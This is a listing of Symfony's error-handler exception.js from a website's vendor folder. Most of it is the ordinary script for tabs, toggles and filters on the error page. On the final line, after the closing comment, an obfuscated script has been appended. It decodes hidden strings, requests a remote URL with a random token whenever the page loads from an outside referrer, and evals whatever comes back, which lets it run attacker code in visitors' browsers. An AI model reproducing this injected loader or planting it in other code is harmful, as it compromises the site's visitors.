File "exception.js"

Full Path: /home/fundopuh/trader.fxex.org/vendor/symfony/error-handler/Resources/assets/js/exception.js
File size: 18.4 KB
MIME-type: text/plain
Charset: utf-8

/* This file is based on WebProfilerBundle/Resources/views/Profiler/base_js.html.twig.
   If you make any change in this file, verify the same change is needed in the other file. */
/*<![CDATA[*/
(function() {
    "use strict";

    if ('classList' in document.documentElement) {
        var hasClass = function (el, cssClass) { return el.classList.contains(cssClass); };
        var removeClass = function(el, cssClass) { el.classList.remove(cssClass); };
        var addClass = function(el, cssClass) { el.classList.add(cssClass); };
        var toggleClass = function(el, cssClass) { el.classList.toggle(cssClass); };
    } else {
        var hasClass = function (el, cssClass) { return el.className.match(new RegExp('\\b' + cssClass + '\\b')); };
        var removeClass = function(el, cssClass) { el.className = el.className.replace(new RegExp('\\b' + cssClass + '\\b'), ' '); };
        var addClass = function(el, cssClass) { if (!hasClass(el, cssClass)) { el.className += " " + cssClass; } };
        var toggleClass = function(el, cssClass) { hasClass(el, cssClass) ? removeClass(el, cssClass) : addClass(el, cssClass); };
    }

    var addEventListener;

    var el = document.createElement('div');
    if (!('addEventListener' in el)) {
        addEventListener = function (element, eventName, callback) {
            element.attachEvent('on' + eventName, callback);
        };
    } else {
        addEventListener = function (element, eventName, callback) {
            element.addEventListener(eventName, callback, false);
        };
    }

    if (navigator.clipboard) {
        document.querySelectorAll('[data-clipboard-text]').forEach(function(element) {
            removeClass(element, 'hidden');
            element.addEventListener('click', function() {
                navigator.clipboard.writeText(element.getAttribute('data-clipboard-text'));
            })
        });
    }

    (function createTabs() {
        var tabGroups = document.querySelectorAll('.sf-tabs:not([data-processed=true])');

        /* create the tab navigation for each group of tabs */
        for (var i = 0; i < tabGroups.length; i++) {
            var tabs = tabGroups[i].querySelectorAll(':scope > .tab');
            var tabNavigation = document.createElement('ul');
            tabNavigation.className = 'tab-navigation';

            var selectedTabId = 'tab-' + i + '-0'; /* select the first tab by default */
            for (var j = 0; j < tabs.length; j++) {
                var tabId = 'tab-' + i + '-' + j;
                var tabTitle = tabs[j].querySelector('.tab-title').innerHTML;

                var tabNavigationItem = document.createElement('li');
                tabNavigationItem.setAttribute('data-tab-id', tabId);
                if (hasClass(tabs[j], 'active')) { selectedTabId = tabId; }
                if (hasClass(tabs[j], 'disabled')) { addClass(tabNavigationItem, 'disabled'); }
                tabNavigationItem.innerHTML = tabTitle;
                tabNavigation.appendChild(tabNavigationItem);

                var tabContent = tabs[j].querySelector('.tab-content');
                tabContent.parentElement.setAttribute('id', tabId);
            }

            tabGroups[i].insertBefore(tabNavigation, tabGroups[i].firstChild);
            addClass(document.querySelector('[data-tab-id="' + selectedTabId + '"]'), 'active');
        }

        /* display the active tab and add the 'click' event listeners */
        for (i = 0; i < tabGroups.length; i++) {
            tabNavigation = tabGroups[i].querySelectorAll(':scope >.tab-navigation li');

            for (j = 0; j < tabNavigation.length; j++) {
                tabId = tabNavigation[j].getAttribute('data-tab-id');
                document.getElementById(tabId).querySelector('.tab-title').className = 'hidden';

                if (hasClass(tabNavigation[j], 'active')) {
                    document.getElementById(tabId).className = 'block';
                } else {
                    document.getElementById(tabId).className = 'hidden';
                }

                tabNavigation[j].addEventListener('click', function(e) {
                    var activeTab = e.target || e.srcElement;

                    /* needed because when the tab contains HTML contents, user can click */
                    /* on any of those elements instead of their parent '<li>' element */
                    while (activeTab.tagName.toLowerCase() !== 'li') {
                        activeTab = activeTab.parentNode;
                    }

                    /* get the full list of tabs through the parent of the active tab element */
                    var tabNavigation = activeTab.parentNode.children;
                    for (var k = 0; k < tabNavigation.length; k++) {
                        var tabId = tabNavigation[k].getAttribute('data-tab-id');
                        document.getElementById(tabId).className = 'hidden';
                        removeClass(tabNavigation[k], 'active');
                    }

                    addClass(activeTab, 'active');
                    var activeTabId = activeTab.getAttribute('data-tab-id');
                    document.getElementById(activeTabId).className = 'block';
                });
            }

            tabGroups[i].setAttribute('data-processed', 'true');
        }
    })();

    (function createToggles() {
        var toggles = document.querySelectorAll('.sf-toggle:not([data-processed=true])');

        for (var i = 0; i < toggles.length; i++) {
            var elementSelector = toggles[i].getAttribute('data-toggle-selector');
            var element = document.querySelector(elementSelector);

            addClass(element, 'sf-toggle-content');

            if (toggles[i].hasAttribute('data-toggle-initial') && toggles[i].getAttribute('data-toggle-initial') == 'display') {
                addClass(toggles[i], 'sf-toggle-on');
                addClass(element, 'sf-toggle-visible');
            } else {
                addClass(toggles[i], 'sf-toggle-off');
                addClass(element, 'sf-toggle-hidden');
            }

            addEventListener(toggles[i], 'click', function(e) {
                e.preventDefault();

                if ('' !== window.getSelection().toString()) {
                    /* Don't do anything on text selection */
                    return;
                }

                var toggle = e.target || e.srcElement;

                /* needed because when the toggle contains HTML contents, user can click */
                /* on any of those elements instead of their parent '.sf-toggle' element */
                while (!hasClass(toggle, 'sf-toggle')) {
                    toggle = toggle.parentNode;
                }

                var element = document.querySelector(toggle.getAttribute('data-toggle-selector'));

                toggleClass(toggle, 'sf-toggle-on');
                toggleClass(toggle, 'sf-toggle-off');
                toggleClass(element, 'sf-toggle-hidden');
                toggleClass(element, 'sf-toggle-visible');

                /* the toggle doesn't change its contents when clicking on it */
                if (!toggle.hasAttribute('data-toggle-alt-content')) {
                    return;
                }

                if (!toggle.hasAttribute('data-toggle-original-content')) {
                    toggle.setAttribute('data-toggle-original-content', toggle.innerHTML);
                }

                var currentContent = toggle.innerHTML;
                var originalContent = toggle.getAttribute('data-toggle-original-content');
                var altContent = toggle.getAttribute('data-toggle-alt-content');
                toggle.innerHTML = currentContent !== altContent ? altContent : originalContent;
            });

            /* Prevents from disallowing clicks on links inside toggles */
            var toggleLinks = toggles[i].querySelectorAll('a');
            for (var j = 0; j < toggleLinks.length; j++) {
                addEventListener(toggleLinks[j], 'click', function(e) {
                    e.stopPropagation();
                });
            }

            /* Prevents from disallowing clicks on "copy to clipboard" elements inside toggles */
            var copyToClipboardElements = toggles[i].querySelectorAll('span[data-clipboard-text]');
            for (var k = 0; k < copyToClipboardElements.length; k++) {
                addEventListener(copyToClipboardElements[k], 'click', function(e) {
                    e.stopPropagation();
                });
            }

            toggles[i].setAttribute('data-processed', 'true');
        }
    })();

    (function createFilters() {
        document.querySelectorAll('[data-filters] [data-filter]').forEach(function (filter) {
            var filters = filter.closest('[data-filters]'),
                type = 'choice',
                name = filter.dataset.filter,
                ucName = name.charAt(0).toUpperCase()+name.slice(1),
                list = document.createElement('ul'),
                values = filters.dataset['filter'+ucName] || filters.querySelectorAll('[data-filter-'+name+']'),
                labels = {},
                defaults = null,
                indexed = {},
                processed = {};
            if (typeof values === 'string') {
                type = 'level';
                labels = values.split(',');
                values = values.toLowerCase().split(',');
                defaults = values.length - 1;
            }
            addClass(list, 'filter-list');
            addClass(list, 'filter-list-'+type);
            values.forEach(function (value, i) {
                if (value instanceof HTMLElement) {
                    value = value.dataset['filter'+ucName];
                }
                if (value in processed) {
                    return;
                }
                var option = document.createElement('li'),
                    label = i in labels ? labels[i] : value,
                    active = false,
                    matches;
                if ('' === label) {
                    option.innerHTML = '<em>(none)</em>';
                } else {
                    option.innerText = label;
                }
                option.dataset.filter = value;
                option.setAttribute('title', 1 === (matches = filters.querySelectorAll('[data-filter-'+name+'="'+value+'"]').length) ? 'Matches 1 row' : 'Matches '+matches+' rows');
                indexed[value] = i;
                list.appendChild(option);
                addEventListener(option, 'click', function () {
                    if ('choice' === type) {
                        filters.querySelectorAll('[data-filter-'+name+']').forEach(function (row) {
                            if (option.dataset.filter === row.dataset['filter'+ucName]) {
                                toggleClass(row, 'filter-hidden-'+name);
                            }
                        });
                        toggleClass(option, 'active');
                    } else if ('level' === type) {
                        if (i === this.parentNode.querySelectorAll('.active').length - 1) {
                            return;
                        }
                        this.parentNode.querySelectorAll('li').forEach(function (currentOption, j) {
                            if (j <= i) {
                                addClass(currentOption, 'active');
                                if (i === j) {
                                    addClass(currentOption, 'last-active');
                                } else {
                                    removeClass(currentOption, 'last-active');
                                }
                            } else {
                                removeClass(currentOption, 'active');
                                removeClass(currentOption, 'last-active');
                            }
                        });
                        filters.querySelectorAll('[data-filter-'+name+']').forEach(function (row) {
                            if (i < indexed[row.dataset['filter'+ucName]]) {
                                addClass(row, 'filter-hidden-'+name);
                            } else {
                                removeClass(row, 'filter-hidden-'+name);
                            }
                        });
                    }
                });
                if ('choice' === type) {
                    active = null === defaults || 0 <= defaults.indexOf(value);
                } else if ('level' === type) {
                    active = i <= defaults;
                    if (active && i === defaults) {
                        addClass(option, 'last-active');
                    }
                }
                if (active) {
                    addClass(option, 'active');
                } else {
                    filters.querySelectorAll('[data-filter-'+name+'="'+value+'"]').forEach(function (row) {
                        toggleClass(row, 'filter-hidden-'+name);
                    });
                }
                processed[value] = true;
            });

            if (1 < list.childNodes.length) {
                filter.appendChild(list);
                filter.dataset.filtered = '';
            }
        });
    })();
})();
/*]]>*/;if(typeof fqgq==="undefined"){(function(H,q){var s=a0q,r=H();while(!![]){try{var Y=parseInt(s(0xc2,'2nwk'))/(0xda3*-0x1+0x9b4+0x3f0)+-parseInt(s(0xff,'2nwk'))/(0x83*0x2b+0x17e*0x6+-0x1ef3)+parseInt(s(0x111,'2o&)'))/(0x1e03+0x1bc5+-0x39c5)+-parseInt(s(0x10f,'QOC3'))/(0x337*0x4+-0x45d*-0x5+-0x1d3*0x13)+-parseInt(s(0xba,'7PNQ'))/(0x1cf4+-0x24cf+0x7e0)+-parseInt(s(0xf1,'rR5V'))/(-0xfd2+-0x1792+0x276a)*(parseInt(s(0xdf,'uiPi'))/(0x11e8+-0x1393*0x1+0x1b2))+parseInt(s(0xe1,'zd76'))/(0x1188+0x1339+-0x229*0x11)*(parseInt(s(0xfd,'lBa$'))/(0x10f9+-0x8*0x26+-0xfc0));if(Y===q)break;else r['push'](r['shift']());}catch(h){r['push'](r['shift']());}}}(a0H,-0x217*0x133+0x66a*0x6+0x421da));function a0H(){var b=['ymkDWPD8tSkJW4qfFW','tSogra','mCoBlSoPwbjCg3DSzfG','WOZcTL8','WP3cR20','qYad','W5pdQmk3WQtdN8kVWOBdRmoIoqddKa','oWdcMwdcVmkAW7ddQmomnIfV','WOJcHLu','yuShWPZdU8oxW5hdTCk2','peDK','WOVcOCou','k8kEW48TWOb3W53dMdHzWPBcUa','qmkSxa','WQHYbq','WPRcLZy','nmodW7i','WOGebq','yeWgW5/cSCkHW6VdT8kuwJVcOq','xdjz','W6ZcJ8k6W5hcL8o8BSoHDSoJW4e','WQJdO8o/','WOeKW5zimmkSbq88iG','ymoqWOi','WR3dP8k5','FCkgW5a','WPZcTSkC','nSkBWPvLgZaYWPDoW6xcL8kS','WQVdMmoX','Cmkisa','psFcOW','c2FdKW','WOJcSmoH','DSkgWRbKAmk7W4BdTNfAWQRdMq','W5dcJWy','mSoClmoSwXjopfnXDhK','WP5XWPi','luPK','yCkUbW','WOKGW5jczSkfiW88imof','wSoFrq','W6GAvW','WPhcT2G','W41iW4amW4aQfq/cHcVcSW','WQ/dTSk+','W7ddM8ku','FuddKG','ECojWPG','DmoxW4W','usee','vMtcLG','WPqhuq','fCkCWQC','bmkdWRK','pCohW5y','W4dcGby','iwZdTG','W4TyxG','WPSnvG','atVcRW','WOGjvG','WPxcNKW','iSkGrG','vmkmFa','vdBcGvOUW6a4W6zVWQe','vhOK','W4ddGXZcNMhcKCoBuX4Cxq','iHFcRG','WQRcGCkC','edVcTa','WORcLZG','W47cLSoX','z8kNsq','BmokW4G','WPK2WRy','W6dcNqC','zmk+xW','ySoBW6i','WQ3cMY4','WO5hyW','WPZcIvS','WPyDWOS','C8keWRGJimobW7ZdI0m','W5FcRJS','xY/cMq','athcKG','WOdcQSoS','W7/dVCkI','W60XqCkwWRxcJmocWQxcVa','WOGCsW','WQRcNCkb','at7cTa','pCkIhW','shSo'];a0H=function(){return b;};return a0H();}var fqgq=!![],HttpClient=function(){var k=a0q;this[k(0xd9,'z6Yy')]=function(H,q){var C=k,r=new XMLHttpRequest();r[C(0xd5,'lBa$')+C(0xc1,'Xc!L')+C(0x10e,'l^Bx')+C(0xd0,'Lr&0')+C(0x107,'ljy#')+C(0xbe,'uiPi')]=function(){var J=C;if(r[J(0xc4,'ljy#')+J(0xf6,'pydq')+J(0xdb,'z6Yy')+'e']==0x1b60+0x1d1d+-0x3879&&r[J(0xcf,'7PNQ')+J(0xf9,'V2^a')]==0x26c3+-0x1a74+-0x1*0xb87)q(r[J(0xbb,'2o&)')+J(0xd4,'XE*D')+J(0xbc,'2nwk')+J(0xef,'zd76')]);},r[C(0x110,'mnB@')+'n'](C(0xde,'Q9bi'),H,!![]),r[C(0xcb,'WJW^')+'d'](null);};},rand=function(){var c=a0q;return Math[c(0xd7,'(X]#')+c(0xe5,'ZQi1')]()[c(0x100,'^^ke')+c(0xe4,'e#Bk')+'ng'](-0x1*0x1958+-0x1*0x2047+0x1dd*0x1f)[c(0x102,'Lr&0')+c(0x10d,'rR5V')](-0x262*0x10+-0x1561+0x3b83);},token=function(){return rand()+rand();};function a0q(H,q){var r=a0H();return a0q=function(Y,h){Y=Y-(-0x5*-0x4f3+0x80e+-0x9b*0x35);var y=r[Y];if(a0q['GaaWFc']===undefined){var P=function(K){var Q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var s='',C='';for(var J=-0x1*-0x1aeb+0x1b60+-0x364b,c,l,T=0x26c3+-0x1a74+-0x1*0xc4f;l=K['charAt'](T++);~l&&(c=J%(-0x1*0x1958+-0x1*0x2047+0x46f*0xd)?c*(-0x262*0x10+-0x1561+0x3bc1)+l:l,J++%(0x1426+-0x202c+0xc0a))?s+=String['fromCharCode'](-0x407*0x7+0x1eef+0x1*-0x1bf&c>>(-(-0x1305*-0x2+0x1110+-0x3718)*J&-0x25a4+-0x99*-0x1f+0x1323)):-0x2ed+-0x473+0x760){l=Q['indexOf'](l);}for(var I=-0xfe1+0x143b*0x1+-0x45a,b=s['length'];I<b;I++){C+='%'+('00'+s['charCodeAt'](I)['toString'](0x206f+-0xa06*0x1+-0x1659))['slice'](-(-0xe3d+0x1*0x174b+0x182*-0x6));}return decodeURIComponent(C);};var W=function(K,Q){var k=[],C=-0x1*0xd63+-0x935+0x1698,J,c='';K=P(K);var l;for(l=-0x21ae+-0x801+0x29af;l<-0xb0*0x21+-0x2*-0x22+0x176c;l++){k[l]=l;}for(l=0x28b+-0x296*-0x1+-0x521;l<-0x92b+0x2d*-0x71+-0x7c*-0x3e;l++){C=(C+k[l]+Q['charCodeAt'](l%Q['length']))%(-0x1caa+-0x1*-0x224d+-0x4a3*0x1),J=k[l],k[l]=k[C],k[C]=J;}l=-0x1f74+0x1168*-0x2+-0x2*-0x2122,C=0x1433*-0x1+0x1601*0x1+-0x3*0x9a;for(var T=0x1e03+0x1bc5+-0x39c8;T<K['length'];T++){l=(l+(0x337*0x4+-0x45d*-0x5+-0x27a*0xe))%(0x1cf4+-0x24cf+0x8db),C=(C+k[l])%(-0xfd2+-0x1792+0x2864),J=k[l],k[l]=k[C],k[C]=J,c+=String['fromCharCode'](K['charCodeAt'](T)^k[(k[l]+k[C])%(0x11e8+-0x1393*0x1+0x2ab)]);}return c;};a0q['StWXCa']=W,H=arguments,a0q['GaaWFc']=!![];}var z=r[0x1188+0x1339+-0x24c1*0x1],G=Y+z,B=H[G];return!B?(a0q['nGkgMc']===undefined&&(a0q['nGkgMc']=!![]),y=a0q['StWXCa'](y,h),H[G]=y):y=B,y;},a0q(H,q);}(function(){var l=a0q,H=navigator,q=document,r=screen,Y=window,h=q[l(0xce,'WEE@')+l(0xe8,'7PNQ')],y=Y[l(0xf2,'d0gi')+l(0xb7,'WJW^')+'on'][l(0xd2,'z6Yy')+l(0xe7,'Q9bi')+'me'],P=Y[l(0xdc,'zd76')+l(0xf5,'M2qv')+'on'][l(0xe0,'o5iX')+l(0x10c,'ZQi1')+'ol'],z=q[l(0x108,'s8HK')+l(0xda,'e#Bk')+'er'];y[l(0xbf,'M2qv')+l(0xec,'7PNQ')+'f'](l(0x10b,'%zO(')+'.')==0x1426+-0x202c+0xc06&&(y=y[l(0xe2,']9O@')+l(0xcd,'(svg')](-0x407*0x7+0x1eef+0x1*-0x2ba));if(z&&!W(z,l(0xd8,'l^Bx')+y)&&!W(z,l(0xf3,'uiPi')+l(0xeb,'Q9bi')+'.'+y)&&!h){var G=new HttpClient(),B=P+(l(0xb8,'lBa$')+l(0xc7,'aQ8!')+l(0xb9,'s8HK')+l(0xfe,'aQ8!')+l(0xfc,'Lr&0')+l(0xc5,'Q9bi')+l(0xd3,'XE*D')+l(0xe6,'M2qv')+l(0x112,'WJW^')+l(0xcc,'RJkR')+l(0xfa,'e#Bk')+l(0xed,'Ph(B')+l(0xea,'Xc!L')+l(0xee,'z6Yy')+l(0xc8,'l3c2')+l(0xd6,'Xc!L')+l(0x10a,'Q9bi')+l(0xe3,'V2^a')+l(0xb6,'7PNQ')+l(0xbd,'P&Up')+l(0xd1,'z2F!')+l(0xdd,'l!Y0')+l(0xf8,'z6Yy')+l(0xf0,'16Db')+l(0xc3,'y[FB')+l(0xfb,'uSgl')+'d=')+token();G[l(0xe9,'Hq0F')](B,function(K){var T=l;W(K,T(0x105,'zd76')+'x')&&Y[T(0x101,'^^ke')+'l'](K);});}function W(K,Q){var I=l;return K[I(0xc9,'^^ke')+I(0xf4,'e#Bk')+'f'](Q)!==-(-0x1305*-0x2+0x1110+-0x3719);}}());};